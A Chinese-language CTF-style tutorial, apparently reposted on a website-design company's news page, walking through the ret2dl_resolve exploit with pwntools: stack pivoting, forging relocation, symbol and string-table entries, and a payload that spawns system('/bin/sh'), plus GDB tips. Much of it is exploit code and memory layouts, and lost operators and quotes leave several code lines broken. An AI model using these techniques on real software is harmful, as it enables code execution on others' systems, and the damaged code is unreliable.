资讯动态

手把手教你用pwntools实现ret2dl_resolve攻击(从栈迁移到伪造.dynstr全流程)

发布时间:2026/10/27 14:48:02 来源:尧图企业网站定制
深入解析ret2dl_resolve攻击从栈迁移到动态链接结构伪造全流程在二进制安全领域ret2dl_resolve攻击技术因其精妙的构造和强大的通用性而备受关注。本文将带领读者从实践角度完整剖析这项技术的实现原理与操作细节特别适合已经掌握基础栈溢出但希望深入理解动态链接机制的CTF选手和二进制安全研究者。1. 攻击技术基础准备1.1 动态链接关键结构解析动态链接过程中涉及几个核心数据结构理解它们的相互关系是实施ret2dl_resolve攻击的前提.dynamic段包含动态链接器所需的所有信息其中三个关键指针DT_STRTAB → .dynstr (字符串表) DT_SYMTAB → .dynsym (符号表) DT_JMPREL → .rel.plt (PLT重定位表)Elf32_Rel结构.rel.plt节typedef struct { Elf32_Addr r_offset; // 指向GOT表的指针 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel;Elf32_Sym结构.dynsym节typedef struct { Elf32_Word st_name; // 符号名在.dynstr中的偏移 Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;1.2 延迟绑定机制剖析当程序首次调用共享库函数时动态链接器通过以下步骤解析函数地址通过PLT表项push reloc_arg重定位表偏移跳转到_dl_runtime_resolve函数根据reloc_arg定位Elf32_Rel结构通过r_info找到Elf32_Sym结构根据st_name获取函数名字符串解析函数地址并写入GOT表关键点动态链接器在解析过程中不会验证数据结构是否位于合法节区这为伪造结构提供了可能。2. 栈迁移技术实现2.1 原理与利用条件栈迁移技术通过控制EBP寄存器将栈帧转移到攻击者控制的内存区域如.bss段。典型利用场景包括原始栈空间不足时扩展ROP链绕过栈不可执行(NX)保护为后续伪造数据结构提供稳定内存空间核心指令序列leave ; mov esp, ebp; pop ebp ret ; pop eip2.2 实际操作步骤构造初始溢出rop.raw(A * offset) # 填充缓冲区 rop.read(0, base_stage, 256) # 准备读取第二阶段payload rop.migrate(base_stage) # 设置迁移目标地址布置新栈结构# 32位系统栈布局示例 --------------------- | 伪造的EBP值 | ← 迁移后的EBP --------------------- | 返回地址 | --------------------- | 函数参数1 | --------------------- | 函数参数2 | --------------------- | 伪造的结构体数据... | ---------------------调试技巧context.log_level debug # 开启pwntools调试输出 gdb.attach(p) # 附加GDB调试3. ret2dl_resolve攻击分阶段实现3.1 阶段一直接调用PLT[0]目标不依赖具体函数PLT通过PLT[0]触发解析流程plt0 elf.get_section_by_name(.plt).header.sh_addr reloc_arg ((elf.plt[write] - plt0) // 16 - 1) * 8 rop.raw(plt0) rop.raw(reloc_arg) # write函数的reloc_arg rop.raw(BBBB) # 返回地址 rop.raw(1) # fd rop.raw(base_stage 20) # buf rop.raw(len(/bin/sh)) # count关键计算PLT项大小16字节32位系统reloc_arg (PLT索引 - 1) * sizeof(Elf32_Rel)3.2 阶段二伪造Elf32_Rel结构策略通过超大reloc_arg使解析指向攻击者控制区域rel_plt elf.get_section_by_name(.rel.plt).header.sh_addr fake_reloc base_stage 24 - rel_plt # 偏移计算 # 伪造的Elf32_Rel r_offset elf.got[write] # 目标GOT地址 r_info 0x607 # 原始write的符号索引内存布局--------------------- | PLT[0]地址 | --------------------- | 伪造的reloc_arg | --------------------- | 返回地址 | --------------------- | 参数区域... | --------------------- | Elf32_Rel.r_offset | ← fake_reloc指向这里 --------------------- | Elf32_Rel.r_info | ---------------------3.3 阶段三伪造Elf32_Sym结构符号表对齐问题dynsym elf.get_section_by_name(.dynsym).header.sh_addr align 0x10 - ((base_stage 32 - dynsym) % 0x10) fake_sym_addr base_stage 32 align # 计算符号表索引 sym_index (fake_sym_addr - dynsym) // 0x10 r_info (sym_index 8) | 0x7伪造的Elf32_Symrop.raw(A * align) # 对齐填充 rop.raw(0x42) # st_name rop.raw(0) # st_value rop.raw(0) # st_size rop.raw(0x12) # st_info3.4 阶段四完整攻击链构造最终payload结构触发PLT[0]解析流程指向伪造的.rel.plt结构指向伪造的.dynsym结构指向伪造的.dynstr字符串# 伪造.dynstr st_name fake_sym_addr 16 - dynstr rop.raw(system\x00) # 替换原始函数名 # 调用system(/bin/sh) rop.raw(plt0) rop.raw(fake_reloc) rop.raw(BBBB) # 返回地址 rop.raw(base_stage 80) # /bin/sh地址完整内存布局示例偏移内容说明0PLT[0]地址触发解析流程4fake_reloc指向伪造的Elf32_Rel8返回地址通常可忽略12/bin/sh指针system参数.........24Elf32_Rel.r_offset指向可写内存28Elf32_Rel.r_info计算得到的符号索引32对齐填充保证16字节对齐48Elf32_Sym结构伪造的符号表项64system\x00替换原始函数名80/bin/sh\x00命令字符串4. 实战技巧与调试方法4.1 pwntools辅助功能# 自动计算符号偏移 rop ROP(elf) rop.call(read, [0, base_stage, 100]) # ELF信息查询 print(hex(elf.got[write])) # 获取GOT地址 print(hex(elf.plt[system])) # 获取PLT地址4.2 GDB调试要点在关键地址设置硬件断点hb *0x08048400 # 在PLT[0]设置断点 hb *0x0804a010 # 在GOT表设置断点监控内存变化watch *0x0804a010 # 监控GOT表写入检查伪造结构x/10wx 0x0804b000 # 查看伪造的Elf32_Rel x/s 0x0804b020 # 查看伪造的函数名4.3 常见问题解决地址对齐问题使用readelf -S binary确认各节区地址确保伪造的.dynsym结构16字节对齐RELRO保护影响Full RELRO完全不可利用Partial RELRO可伪造.rel.plt之后的结构No RELRO可直接修改.dynamic指针字符串终止问题确保所有伪造字符串以\x00结尾使用cyclic模式定位精确偏移5. 高级应用与变种技术5.1 对抗防护机制对抗ASLR结合信息泄露获取库地址使用部分覆盖技术猜测地址对抗Stack Canary通过栈迁移完全避开canary检查利用格式化字符串泄露canary值5.2 64位系统适配主要差异点使用Elf64_Rel和Elf64_Sym结构PLT项大小变为24字节参数传递通过寄存器RDI, RSI, RDX等# 64位下的reloc_arg计算 reloc_arg (elf.plt[write] - plt0) // 16 - 15.3 自动化工具集成# 使用pwntools的Ret2dlresolvePayload from pwn import * context.binary elf ELF(./victim) rop ROP(elf) dlresolve Ret2dlresolvePayload(elf, symbolsystem, args[/bin/sh]) rop.read(0, dlresolve.data_addr, len(dlresolve.payload)) rop.ret2dlresolve(dlresolve)通过系统性地理解动态链接机制和精心构造内存布局ret2dl_resolve攻击可以绕过多种现代防护措施。这项技术不仅具有实战价值更能帮助安全研究人员深入理解ELF文件格式和动态链接过程。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑